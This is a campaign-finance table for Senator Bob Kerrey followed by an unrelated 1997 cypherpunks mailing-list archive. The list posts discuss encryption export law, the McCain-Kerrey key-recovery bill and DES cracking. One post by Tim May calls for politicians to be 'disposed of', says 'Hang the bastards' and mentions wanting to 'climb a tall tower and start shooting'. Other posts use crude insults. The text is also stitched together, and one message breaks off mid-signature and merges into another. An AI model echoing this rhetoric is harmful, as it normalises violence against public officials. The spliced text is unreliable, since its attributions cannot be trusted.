Another good reference is Supporting Federal Candidates -- A guide for
citizens 
from the Federal Election Commission, July 1994. On-line at PoliticsUSA.


FULL CYCLE DATA - 01/01/1989 - 12/31/1994


Net Receipts: .....................................   $5,006,236
Net PAC Contributions: ............................   $1,556,633
Net Individual Contributions: .....................   $3,290,334

The figures below represent Political Action Committee (PAC)
contributions
by industry and sector.

Agriculture: ......................................     $268,605
     Agricultural Services & Products........      $84,180
     Crop Production & Basic Processing......      $63,425
     Food Processing & Sales.................      $43,000
     Dairy...................................      $27,000
     Tobacco.................................      $22,500
     Livestock...............................      $17,500
     Poultry & Eggs..........................      $11,000
     Commodity Brokers & Dealers.............           $0
     Forestry & Forest Products..............           $0
     Miscellaneous Agriculture...............           $0

Construction & Public Works: ......................      $20,850
     Home Builders...........................      $16,100
     Construction Services...................       $3,500
     Building Materials & Equipment..........       $1,250
     General Contractors.....................           $0
     Special Trade Contractors...............           $0

Communication & Electronics: ......................     $113,600
     Telephone Utilities.....................      $65,300
     Cable TV................................      $20,000
     TV & Movie Production/Distribution......      $14,000
     Telecom Services & Equipment............       $6,300
     Printing & Publishing...................       $4,000
     Recorded Music Production...............       $2,000
     Computer Equipment & Services...........       $2,000
     Electronics Mfg & Services..............           $0
     Misc. Communications & Electronics......           $0

Defense: ..........................................      $87,720
     Defense Aerospace.......................      $49,500
     Defense Electronics.....................      $28,720
     Miscellaneous Defense...................       $9,500

Energy & Natural Resources: .......................      $62,005
     Electric Utilities......................      $25,755
     Oil & Gas...............................      $23,250
     Waste Management........................       $8,500
     Miscellaneous Energy....................       $3,500
     Mining..................................       $1,000
     Environmental Services & Equipment......           $0
     Nuclear Energy..........................           $0
     Fisheries & Wildlife....................           $0
     Commercial Fishing......................           $0
     Hunting.................................           $0

Finance, Insurance & Real Estate: .................     $250,060
     Insurance...............................      $87,050
     Securities & Investment.................      $65,925
     Commerical Banks........................      $57,475
     Accountants.............................      $20,150
     Real Estate.............................       $8,710
     Miscellaneous Finance...................       $7,000
     Savings & Loans.........................       $2,750
     Credit Unions...........................       $1,000
     Finance & Credit Companies..............           $0

Miscellaneous Business: ...........................      $62,905
     Retail Sales............................      $20,931
     Beer, Wine & Liquor.....................      $12,474
     Food & Beverage.........................       $8,500
     Business Services.......................       $8,000
     Casinos & Gambling......................       $3,500
     Miscellaneous Services..................       $2,000
     Miscellaneous Business..................       $2,000
     Textiles................................       $2,000
     Chemical & Related Manufacturing........       $1,000
     Misc Manufacturing & Distributing.......       $1,000
     Lodging & Tourism.......................       $1,000
     Business Associates.....................         $500
     Recreation & Live Entertainment.........           $0
     Steel Production........................           $0

Health: ...........................................     $171,049
     Health Professionals....................      $79,500
     Hospitals & Nursing Homes...............      $52,000
     Pharmaceuticals & Health Products.......      $33,799
     Health Services.........................       $5,750
     Miscellaneous Health....................           $0

Lawyers & Lobbyists: ..............................      $63,476
     Lawyers & Lobbyists.....................      $63,476

Transportation: ...................................      $76,850
     Air Transport...........................      $33,500
     Railroads...............................      $26,850
     Automotive..............................       $7,000
     Sea Transport...........................       $6,500
     Trucking................................       $3,000
     Miscellaneous Transport.................           $0

Labor Union: ......................................     $250,050
     Building Trades & Industrial Unions.....     $111,500
     Transportation Unions...................      $68,000
     Public Sector Unions....................      $52,050
     Miscellaneous Unions....................      $18,500

Ideological/Single-Issue: .........................     $120,963
     Pro-Israel..............................      $73,000
     Democrat/Liberal........................      $15,500
     Human Rights............................      $10,500
     Abortion Policy.........................      $10,000
     Leadership PACs.........................       $4,653
     Miscellaneous Issues....................       $3,500
     Foreign & Defense Policy................       $2,810
     Gun Rights/Gun Control..................       $1,000
     Republican/Conservative.................           $0
     Womens Issues...........................           $0

Other: ............................................       $2,000
     Other...................................       $1,000
     Education...............................       $1,000
     Civil Servants & Public Officials.......           $0
     Non-Profit Institutions.................           $0
     Retired.................................           $0

Unknown: ..........................................           $0
     Unknown.................................           $0
     Homemakers/Non-income earners...........           $0
     No Employer Listed or Found.............           $0
     Generic Occupation/Category Unknown.....           $0
     Employer Listed/Category Unknown........           $0

---------------------------------------------------------------------------
          PARTIAL CYCLE DATA - 01/01/1995 - 06/30/1995

Net Receipts: .....................................     $116,890
Net PAC Contributions: ............................      $43,500
Net Individual Contributions: .....................      $21,175
Net Candidate Contributions: ......................           $0
Net Other Contributions: ..........................      $52,215
Net Spent: ........................................     $125,359
Ending Cash: ......................................       $7,834
Debts Owed: .......................................           $0



                 This information is brought to you by Project Vote
Smart


Senator Bob Kerrey | Nebraska Directory | 104th Congress Directory |
Vote Smart Web






From root at nwdtc.com  Thu Jun 19 09:30:03 1997
From: root at nwdtc.com (Alan Olsen)
Date: Fri, 20 Jun 1997 00:30:03 +0800
Subject: Crypto foes have day in court
Message-ID: <33A95E27.302D@nwdtc.com>



http://www.news.com/News/Item/0,4,11674,00.html

Crypto foes have day in court 
By Alex Lash
June 18, 1997, 5:45 p.m. PT 

SAN FRANCISCO--Both sides of a landmark court battle
over the use of encryption made their final arguments here
today before a federal judge, who now will decide if the
government's restrictions on encryption exports go too far. 

The case focuses on Daniel Bernstein, a University of Illinois
math professor who sued the government two years ago as a
graduate student when he was not allowed to publish his
Snuffle encryption program on the Internet without an export
license. But the case extends to the all Internet users, who
are coming to rely more on privacy and security for electronic
correspondence and transactions. Strong encryption is
considered necessary to provide that security. 

On the other hand, law enforcement officials are worried that
the unchecked spread of strong encryption will make
communications by criminals impossible to track and decode. 

U.S. District Court Judge Marilyn Patel has already proven
sympathetic to Bernstein's case. In April 1996, she ruled that
software code is free speech and therefore protected under the
First Amendment. From that, she said in December that the
government's regulations created unconstitutional "prior
restraint" of free expression, meaning the creation of an
atmosphere that made the free exchange of protected ideas
difficult, if not impossible. 

Patel can now take as much time as she wants to hand down
her decision. She must decide if the government regulations
violate constitutional or statutory standards. The judge must
also decide what type of relief to grant Bernstein and if that
relief--in the form of unimpeded export of encryption
software--should extend to everyone. 

Since her December ruling, the federal export rules have been
switched from the auspices of the State Department to the
Commerce Department's Bureau of Export Administration.
Patel called the lead attorneys for Bernstein and for the
government together today to determine if she should
reconsider her December ruling in light of the shift. 

"We think [the issues] are fundamentally the same," Cindy
Cohn, lead attorney for Professor Bernstein, told the judge.
"All the things you found wrong before are still up in the air." 

Government attorney Anthony Coppolino essentially agreed,
although he claimed the new rules, which were mandated by a
presidential executive order, cleared up some of the confusion
caused by the State Department rules. "The president's order
of transfer made clearer that we want to control the encryption
function, not the ideas," he said. 

Despite Judge Patel's differing perspective, Coppolino
maintained that the government's rules, which require
publishers of strong encryption software to apply for a
government license, were aimed at controlling the unimpeded
spread of "easy-to-access, easy-to-use" encryption but not
the spread of intellectual expression. 

Coppolino nonetheless seemed resigned to yet another
"adversarial" decision, as he called Patel's previous rulings,
and argued that if the judge rules in favor of
Bernstein--which seems likely given her remarks
today--her interpretation should be as narrow as possible.
Coppolino said that a national injunction on the regulations
would be overkill. 

"You can clearly fashion relief [for Bernstein] without
throwing it open on a nationwide basis," Coppolino contended.

Cohn, who has argued the case pro bono with the help of the
Electronic Frontier Foundation, countered that Bernstein's job
requires not just his own free expression but free
communication in general. 

"We think that everyone else should be protected," she
argued to Patel. "There's no way that Bernstein can speak
freely if no one else can speak back." 

The encryption battle is also being fought in Congress, where
several bills aim to strike down the same federal export rules
that Bernstein is challenging, while one bill, sponsored by
Senators John McCain (R-Arizona) and Bob Kerrey
(D-Nebraska), seeks to impose domestic controls for the
first time.

Introduced yesterday in the Senate, McCain-Kerrey seeks to
mandate the use of key recovery--a system that allows law
enforcement officials to intercept and decode encrypted
electronic communications--for all government products and
government-funded networks. It also aims to tie the domestic
use of digital certificates--a type of electronic ID card that
verifies the legitimacy of an electronic transmission--to key
recovery.

Under the plan, users will not be able to obtain a digital
certificate from a government-licensed "certificate authority"
unless they make their private encryption keys available to
law enforcement when necessary.






From dlv at bwalk.dm.com  Thu Jun 19 09:49:44 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 20 Jun 1997 00:49:44 +0800
Subject: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
In-Reply-To: 
Message-ID: 



Paul Bradley  writes:

> 
> 
> 
> > INetZ vice president Jon Gay said "We hope that this will encourage
> > people to demand the highest available encryption security, such as
> > the 128-bit security provided by C2Net's Stronghold product, rather
> > than the weak 56-bit ciphers used in many other platforms."
> 
> INetZ obviously hasn`t had experience of C2Net, the censorous cocksuckers 
> who send lawyer letters to security consultants who question the strength 
> of their products.
> 
> > C2Net is the leading worldwide provider of uncompromised Internet
> > security software. C2Net's encryption products are developed entirely
> > outside the United States, allowing the firm to offer full-strength
> > cryptography solutions for international communications and
> > commerce. 
> 
> C2Net also censor all dissenters over the security of their products, try 
> it if you want to prove my point, just post a message to a security forum 
> questioning the security of stronghold.

I recall reading that the Hebrew word "Amen", meaning roughly, "it is so",
comes from the name of the Egyptian god Amon.  Therefore "by Jove" is a
close English equivalent.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From stewarts at ix.netcom.com  Thu Jun 19 10:07:53 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 20 Jun 1997 01:07:53 +0800
Subject: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: 
Message-ID: <3.0.2.32.19970619093902.00759df0@popd.ix.netcom.com>



At 03:35 PM 6/18/97 -0500, ARTURO GRAPA YSUNZA wrote:
>I actually got a kick out of reading the bullshit in the press release.
...
>You should have given credit to DESCHALL whose effort is be applauded.

I mostly agree with Arturo, especially about giving credit and
indicating how many machines were participating.
Publicity about how the Feds are trying to push
weak crypto on us is worthwhile - the timing was especially pleasant
given Kerrey's new anti-crypto bills in Congress.
Sameer's post did two things - hyped his own company (hmmm :-)
and provided an opportunity for good inflammatory rhetoric.

On the other hand, DES really is _much_ weaker than the DESCHALL
project indicates - Intel CPUs aren't at all tuned for DES cracking,
whereas a custom DES-cracker with similar horsepower could have
done the job a lot faster.  If I remember right, Wiener's design
used 64,000 chips, about as many as there were PCs working DESCHALL,
for a crack that would take hours instead of months.

		


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From vin at shore.net  Thu Jun 19 10:35:25 1997
From: vin at shore.net (Vin McLellan)
Date: Fri, 20 Jun 1997 01:35:25 +0800
Subject: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: 
Message-ID: 



	Two kibitizers wrote:

>> > "That DES can be broken so quickly should send a chill through the
>> >heart of anyone relying on it for secure communications,"
>>
>> I'm shitting bricks. No mention was made that only 25% of the keyspace
>> was tested.

	Then Paul Bradley  the sage moderator of
Cryptography.Uk stepped in:

>Not only that, but single DES with a 56 bit key is just not being used
>anymore in any company which has the slightest clue. If they can run a
>distributed crack on 3DES with independent subkeys then I`ll give them
>some attention.

	You've convinced me, the UK _is_ on a different planet!


      Vin McLellan + The Privacy Guild + 
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --







From aba at dcs.ex.ac.uk  Thu Jun 19 11:32:41 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 20 Jun 1997 02:32:41 +0800
Subject: author slip or conscious misdirection? (was Re: Declan as a Crime Beat Reporter)
In-Reply-To: <199706190400.AAA00467@dhp.com>
Message-ID: <199706191810.TAA00201@server.test.net>




anonymous writes:
> An interview with cypherpunks founder Timothy C May, Jim Bell 
> and various other Cypherpunks also present.
> Interview conducted by Declan McCullagh
> ...

Excellent take almost of the quality of the Cypherpunks Enquirer's
work.  Well done.

I have one comment on punctuation style, notice that through out the
document the author uses the wrong single quote, viz:

> Tim:
>
> No it isn`t,...

There's only one poster to the list who uses the wrong quote mark in
this way consistently.  (Exercise for reader).

On the other hand the anonymous posters may have done this on purpose
to obfuscate writing style, and throw is off the track.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 



I suggest you wonder about McCain and Kerry-without-the-e.

-Declan








From root at nwdtc.com  Thu Jun 19 12:06:32 1997
From: root at nwdtc.com (Alan Olsen)
Date: Fri, 20 Jun 1997 03:06:32 +0800
Subject: New crypto bill clears committee
Message-ID: <33A98371.244@nwdtc.com>



http://www.news.com/News/Item/0,4,11693,00.html

The fix is in...


New crypto bill clears committee 
By Alex Lash
June 19, 1997, 11 a.m. PT 

just in Just two days after it was introduced, a bill that seeks
to impose restrictions on the domestic use of encryption sailed
without hearings through the Senate Commerce Committee. 

The bill, sponsored by Commerce Committee chairman John
McCain (R-Arizona) and Bob Kerrey (D-Nebraska),
originally was a proposal floated by the White House as an
alternative to other bills that aim to lift most restrictions on
the use and export of encryption software. The Commerce
Committee passed the bill on a voice vote. Unless it is
diverted to another committee, the bill will be scheduled for a
full Senate vote. 

Privacy advocates viewed the success of the McCain-Kerrey
bill, known formally as the Secure Public Networks Act of
1997, with great concern. 

"This is majorly bad news," David Sobel, legal counsel for the
Electronic Privacy Information Center, said today. "It basically
mandates use of key recovery encryption in any federally
supported network, including universities. It also muddies the
waters for the prospects of liberalizing encryption policy, and
it's directly at odds with the SAFE bill that is moving through
the House." 

Both the SAFE bill in the House and the Pro-Code bill in the
Senate seek to ban federally mandated key recovery.
Pro-Code had early success after its reintroduction this year
but has stalled in the same committee that just passed the
McCain-Kerrey bill. 

Like the White House proposal, the McCain-Kerrey bill
seeks to impose for the first time mandatory key recovery
within the United States on top of the White House's crypto
export regulations.

Despite implementing tight domestic controls on encryption,
the bill leaves open a window for looser export controls. It
gives the Commerce Department secretary leeway to approve
the export of strong encryption software without key recovery
if similar products already or soon will be available.

The bill slams the door, however, on the possibility of
challenging a crypto export denial: "The secretary's decision
on the grounds for the grant or denial of licenses shall not be
subject to judicial review." 

The struggle over encryption policy has centered on law
enforcement access to private information transmitted
electronically or stored on computers. The government argues
that criminals will use unregulated strong encryption to keep
their plans secret. The use of key recovery requires users of
encryption software, such as secure email programs, to store
their keys in a place where the government can quickly access
them without the users' knowledge. 

The McCain-Kerrey bill would make key recovery mandatory
for all products purchased by the government and for any
product used on a network that is even partially funded by the
federal government. The bill also states that law enforcement
would require only a subpoena to access private keys,
whereas current federal regulations require a court order.

The new bill would also link digital certificates to key recovery
and grant government the authority to license digital
certificates. These certificates, which establish and verify the
identity of the sender of an encrypted communication, are
considered a critical element of electronic commerce.
However, if McCain-Kerrey becomes law, users won't be
able to obtain a government-approved certificate without
storing their keys with a third party. 

Current regulations administered by the Commerce
Department allow software makers to export encryption up to
56 bits in strength without a license or key recovery
mechanisms. That limit seems less secure, however, after
yesterday's announcement that thousands of people linked
their computers over the Internet to crack a 56-bit DES code
from RSA Data Security. 

In a report released last year, a group of leading
cryptographers recommended a minimum key length of 90 bits
to ensure secure communications.

Senior writer Janet Kornblum and reporter Courtney
Macavinta contributed to this report.






From rah at shipwright.com  Thu Jun 19 12:25:21 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 20 Jun 1997 03:25:21 +0800
Subject: e$: Fickle Fingers of Fate...
Message-ID: 




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga 
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 19 Jun 1997 12:47:32 -0400
From: Robert Hettinga 
To: Multiple recipients of 
Subject:  e$: Fickle Fingers of Fate...

At 11:00 pm -0400 on 6/18/97, Tim May wrote in cypherpunks:


> Not that it matters. Face it, our words in print vanish without a trace,
> and are remembered by nobody except ourselves.

Yeah, but every once in a while the ideas stick in the head of someone
else, which is good enough for me, and, ironically, where my aforementioned
"aspirations to lethargy" regarding getting "credit" for the quote comes
from. Sometimes having people think about something is much more important
than them knowing who gave them the idea.

On the other hand, I get e-mail from people all the time for stuff I've
written or said (with attribution) in the press and on the net, and most of
those people are excited about all this new stuff they haven't heard of
before. I get quite a great kick out of that.


Sometimes, though, speaking of kicks, I do feel like I've got a "kick me"
sign on my back or something. I just got a copy of the NHK video about
Sameer, (and cryptography ;-)), and FC97 is talked about there a lot, but,
unfortunately, no real credit given to Ray Hirshfeld as conference chair
for organizing the program, or, for that matter, for myself as the the guy
whose idea FC97 was in the first place. Also, while not having read the
July Wired yet, I have heard from other people that the article reads like
FC97 was Vince Cate's idea and not mine.  On the other hand, I'm pretty
sure that the reason that Vince got front and center was because I didn't
jump out there steal it from him. ;-). Any "fault" for not making sure
proper "credit" was given is primarily my own, as the, um, promoter, of
FC97, anyway. So, maybe we should have a press conference or something next
year and put out the "official" story, just to further complicate matters.

Frankly, since Vince actually *did* do all the *work* on Anguilla itself,
as well as helping to sholder whatever financial risks there were, along
with running the money, and the transaction processing on offshore.com.ai,
and lots of other important stuff, and, since Ray and I *really* want to do
it there again next year, Vince can have all the 'credit' he wants. :-).
Especially if I get to go to Anguilla for free once a year, and, like I did
last time, walk around like I own the place. (My needs are simple, you
see...)


I do think my own powers of hucksterism are improving, though. A banking
conference organizer called yesterday, and she wanted me be a speaker at a
series of conferences in London, San Diego and Malaysia. I figured I'd do
the old digital bearer certificate "book-entry settlement is dead" bit and
scare them all a little. We'll see if she still wants me after she sees the
e$ home page and my nonexistant credentials for outraging the financial
status quo.  As usual for these things, of course, I'm not getting paid
anything but travel and room and board expenses. (Now, where's that 'kick
me' sign, again? I *know* it's back there somewhere...)

On the same terms, but for nice people anyway, Dave Birch from Hyperion is
having me fly out to London to do an electronic money conference in
October, and I'm supposed to speak at MacWorld Boston in August. In
addition, I'm going to be on a national talk radio network again pretty
soon, and I'm in the process of cranking out another rant-for-publication,
if I can just keep the thing from getting bigger every time I sit down to
work on it. Somebody's also talking about recording me doing some of my
rants for audio tape. Finally, the FC97 proceedings are just about ready,
and Springer-Verlag will have them later this summer. Since I get to edit
the introduction, I at least get to make sure they spell my name right.
:-). And, of course, the process of organizing FC98 is just starting to
get, um, organized, and that's fun to think about. (The dates for the
conference next year will be February 23-27, in case people want to save
the date.)


So, while I still haven't quite cultivated the ability to create that
completely sterile no-man's land between me and a TV camera just yet (I
heard someone say on cypherpunks that the most dangerous place in the world
was between Phill Gramm and a TV camera...), I'm having an enormous amount
of fun, attributed or not.


Oh, and I forgot e$lab. I've gotten mail from about 50 people in response
to the initial pair of rants, and we're in the process of preparing some,
er, collateral information (can't call it a business plan, really, because
whatever management team we put together will actually have to write their
own plan from scratch), to hand to people who happen to wander in too close
to Hettinga's Patented Reality Distortion Field (tm). Yeah, I know, Jobs
has one too, but mine's patented and trademarked. Something I learned from
a fellow Universalist, P.T. Barnum. Besides, the knob on my *my* reality
distortion field goes to 11.

So, I suppose, when all that 'credit' is passed around some day, I'll be
getting my share.

My next trick, though, is to get some money in the door for all this fun
I've been having. I'm starting to feel like Stephenson's Hiro Protagonist,
at the moment, though not nearly as cool. (Heck, I can't even write code.)
Nonetheless, I suppose I'm lucky I get to do what I love, though I can't
exactly describe it to people very well. Most people don't get that chance
very often. To do what they love to do, I mean.

Now, where *is* that "kick me" sign...

Cheers,
Bob Hettinga,
(currently suffering rotator cuff injuries from trying to swipe at his back
all the time...)




-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"


Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info at hyperion.co.uk

Like e$? Help pay for it! 
For e$/e$pam sponsorship, mail Bob: 

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo 
(Majordomo)^2: Rachel Willmer
Commermeister: Anthony Templer 
Interturge: Rodney Thayer 




--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From v-wcaspe at MICROSOFT.com  Thu Jun 19 13:17:44 1997
From: v-wcaspe at MICROSOFT.com (William Casperson (Compaq))
Date: Fri, 20 Jun 1997 04:17:44 +0800
Subject: No Subject
Message-ID: <40357F94775ECF118C2800805FD46CBD86C13D@RED-69-MSG.dns.microsoft.com>









From declan at well.com  Thu Jun 19 13:32:25 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 20 Jun 1997 04:32:25 +0800
Subject: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
Message-ID: 



In the end, it was child pornography that derailed
encryption legislation in the U.S. Senate and dealt a
bitter defeat to crypto supporters. Spurred by the
chairman's denunciations of cyberporn, a majority of
the Senate Commerce Committee rejected ProCODE II this
morning -- and instead approved a bill introduced
earlier this week that creates new Federal crimes for
some uses of crypto and an all-but-mandatory key
escrow infrastructure.

Sen. John McCain (R-Ariz.), committee chair and chief
sponsor of the measure, led the attack, saying
Congress must "stop child pornography on the Internet
and Internet gambling. These legitimate law
enforcement concerns cannot and should not be
overlooked or taken lightly."

He warned that allowing encryption to be exported
would permit child pornographers to use it. "If it's
being used for child pornography? Are we going to say
that's just fine? That's it's just business? I don't
think so."

Then Sen. Kay Bailey Hutchinson (R-Tex.) chimed in,
saying she doesn't want "children to have access to
pornography or other bad types of information."

Sen. John Ashcroft (R-MO) tried to disagree. "It's like
photography. We're not going to [ban] photography if
someone takes dirty pictures." (At this point, one of
the more deaf committee members asked, "Pornography?
Are we going to ban pornography?")

Between the child-porn attack team of senators McCain,
Hollings, Kerry, and Frist, ProCODE sponsor Sen. Sen.
Conrad Burns (R-Mont.) didn't stand a chance. Hunched
over the microphone, Burns was outmaneuvered,
outprepared, and outgunned on almost every point.

Nevertheless, he introduced ProCODE II -- a so-called
compromise measure -- and was defeated 8-12. The
changes from ProCODE I gave the NSA, FBI, and CIA
oversight over crypto exports and permitted only the
export of up to 56-bit crypto products without key
escrow. Products of any strength with key escrow could
be exported freely.

That's hardly a pro-privacy, pro-encryption bill, says
the ACLU's Don Haines. "The ProCODE vote shows the
political bankruptcy of the pro-business agenda. Even
in the Commerce Committee, commerce arguments didn't
work," he says.

The committee also approved amendments proposed by
Kerry that would give jurisdiction over crypto exports
to a nine-member "Encryption Export Advisory Board."
The panel would "evaluate whether [a] market exists
abroad" and make non-binding recommendations to the
president.

Frist also introduced amendments to the McCain-Kerrey
bill that were accepted:

* Requiring that not any Federally-funded
  communications network, but only ones established "for
  transaction of government business" would use key
  escrow -- thereby jumpstarting the domestic market.

* "Requirements for a subpoenas [sic] should be no
  less stringent for obtaining keys, then [sic] for any
  other subpoenaed materials."

* Key recovery can mean recovering only a portion of
 the key "such as all but 40 bits of the key."

* NIST after consulting with DoJ and DoD will "publish
  a reference implementation plan for key recovery
  systems;" the law will not take effect until the
  president tells Congress such a study is complete.

After the vote, advocacy groups tried to put a good
face on the devastating loss -- and an expensive
defeat it was. After 15 months of lobbying, countless
hearings, backroom dealmaking, and political capital
spent, ProCODE is gutted and dead. "There's another
day. We have confidence in the system," said BSA's
Robert Holleyman. CDT's Jerry Berman said, "What is
encouraging is that unlike the CDA other committees
are getting involved."

Of course, the involvement of other committees is only
likely to add more key escrow provisions and
limitations on crypto-exports. ProCODE's replacement
-- the McCain-Kerrey bill -- now goes to the Senate
Judiciary committee, and its chairman has already been
talking about mandating key escrow in some
circumstances...

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From tcmay at got.net  Thu Jun 19 13:40:03 1997
From: tcmay at got.net (Tim May)
Date: Fri, 20 Jun 1997 04:40:03 +0800
Subject: It ain't just crypto they're screwing with....
Message-ID: <199706192024.NAA10518@you.got.net>




People sometimes wonder why I'm moving toward the "just kill them all"
position, meant rhetorically, of course. (I would never, never suggest
that anyone actually kill the criminals McCain or Kerrey, or the other 533
criminals, but they have surely all richly earned whatever befalls them.)

Besides the blizzard of new crypto laws, some proposed, some passed,
similar nonsense can be found in almost every other area of life. Here in
Kalifornia, not even the cops and district attorneys seem to know what's
happening with gun laws, knife laws, insult speech laws, and so on. And
here in my little piece of Paradise, a recent law made it illegal to
"discriminate" against those with rings through their noses, studs through
their tongues, etc. (Some of you, being "punks," may actually be so
adorned. I hope you understand the deeper point that what I do with my
property, including who I hire, is my business, not the "Committee Against
Appearance Discrimination's" bussiness.)

The real problem is that the thousands of professional politicians, the
organized crime families of politics, and the hundreds of thousands of
cops, narcs, judges, bureaucrats, drones, and other criminals keep on
writing more laws, trying to patch the broken aspects of society with more
and more laws. 

Anyway, one of my occasional interests is following the knife community.
After recent warnings that the knife laws in my area may make it illegal
to carry a folding knife either in my pocket ("concealed") or clipped to
my belt ("brandishment"), I started paying close attention to what the
clowns in Sacramento are doing to resolve this situation. As might be
expected, they are screwing things up further.

As with crypto, the laws keep getting more and more complex, with layers
upon layers of cruft making nearly any interpretation a DA (District
Attorney, or Prosecuting Attorney) might want to push possible. As the
famous saying by a corrupt (as most of them are) DA went, "I could get an
indictment against a ham sandwich if I wanted one.")

Here's an insight into the knife laws in California. It makes me want to
climb a tall tower and start shooting. (I won't, of course, but I am
confirmed in my view that the politicians in Sacramento and D.C. ought to
be disposed of as quickly as possble. Hang the bastards.)

> From: James & Toni Mattis 
> Newsgroups: rec.knives
> Subject: Re: California cuttery enthusiasts, support AB 78
> Date: Wed, 18 Jun 1997 20:52:41 -0700

> 
> BUD LANG wrote:
> > 
> > I am publishing an article in the October 1997 edition of Knives
> > Illustrated, written by Chris Micheli, the gent in Sacramento who is
> > fighting the battle for Buck Knives. The Calif DA's association and the
> > Sheriffs are seeking to have that bill changed again. Why? They claim
> > everyone and his cousin is now on the streets using these knives in
> > combat. We all know this is bull pucky, but they want to change it back.
> > Bud
> 
> Latest news on AB78: After another conference with law & order types,
> they've removed from the bill the part that says it's OK to carry a
> fixed blade knife in a container like a backpack, toolbox, purse,
> etcetera. The part that decrminalizes folders is still there, but if you
> buy a chef's knife in the mall, you can't carry it to your car in a
> shopping bag. You'll have to carry it openly through the mall and scare
> lots of people instead. 
> 
> This isn't a stretch. The Los Angeles public defender's office has a
> pending case where they busted a homeless guy for having a steak knife
> in his backpack. Unofficial word is that he's a little too crazy to
> stand trial, but I can't get it in writing that they'll only do that to
> crazy poor people, and crazy poor people need to eat, etcetera, too.
> 
> The law is an ass. I've squawked to the lobbyist, and my squawk to some
> other people goes out tonight.
> 
> James K. Mattis
> http://home.earthlink.net/~jkmtsm
> "If the law supposes that . . . the law is a ass, a idiot" - Dickens

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."






From 3umoelle at informatik.uni-hamburg.de  Thu Jun 19 13:59:44 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Fri, 20 Jun 1997 04:59:44 +0800
Subject: Recipient Anonymity
In-Reply-To: <199706180825.BAA20903@myriad.alias.net>
Message-ID: 



>Except for the additional server-to-server communications necessary to
>broadcast new messages into the system, the bandwidth utilization is
>comparable to sender-anonymous remailers; it scales linearly as the
>number of parties involved in the delivery of a particular message.

How are messages selected?  It seems that the recipient needs to know
the message IDs of all messages in the system, and must have a way to
identify his messages.






From whgiii at amaranth.com  Thu Jun 19 14:21:52 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 20 Jun 1997 05:21:52 +0800
Subject: ping
Message-ID: <199706192108.QAA01415@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6mgxo9Co1n+aLhhAQGL6AQAixZikrODaTGvexNLkLn9N1Ccj6udj8xU
OnVHZ9Czqymic7za4Y+1xFiFL+93SBlZDe9lGwu6Dlj6mA7W7uje17Wszfb6+NLO
aG9p8bqp2bFD+MD6UIGSDntlTL0LiRc//0PfHCzR1ABgtEOfDRLX0Aq5JgcYL/tl
zY3VBlF4n1w=
=ALs+
-----END PGP SIGNATURE-----






From jsmith58 at hotmail.com  Thu Jun 19 15:13:04 1997
From: jsmith58 at hotmail.com (John Smith)
Date: Fri, 20 Jun 1997 06:13:04 +0800
Subject: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
Message-ID: <199706192203.PAA25585@f30.hotmail.com>



>Frist also introduced amendments to the McCain-Kerrey
>bill that were accepted:
>
>* Requiring that not any Federally-funded
>  communications network, but only ones established "for
>  transaction of government business" would use key
>  escrow -- thereby jumpstarting the domestic market.

Will this narrow the bill so it no longer applies to researchers,
students and others who happen to use subsidized networks?  If so,
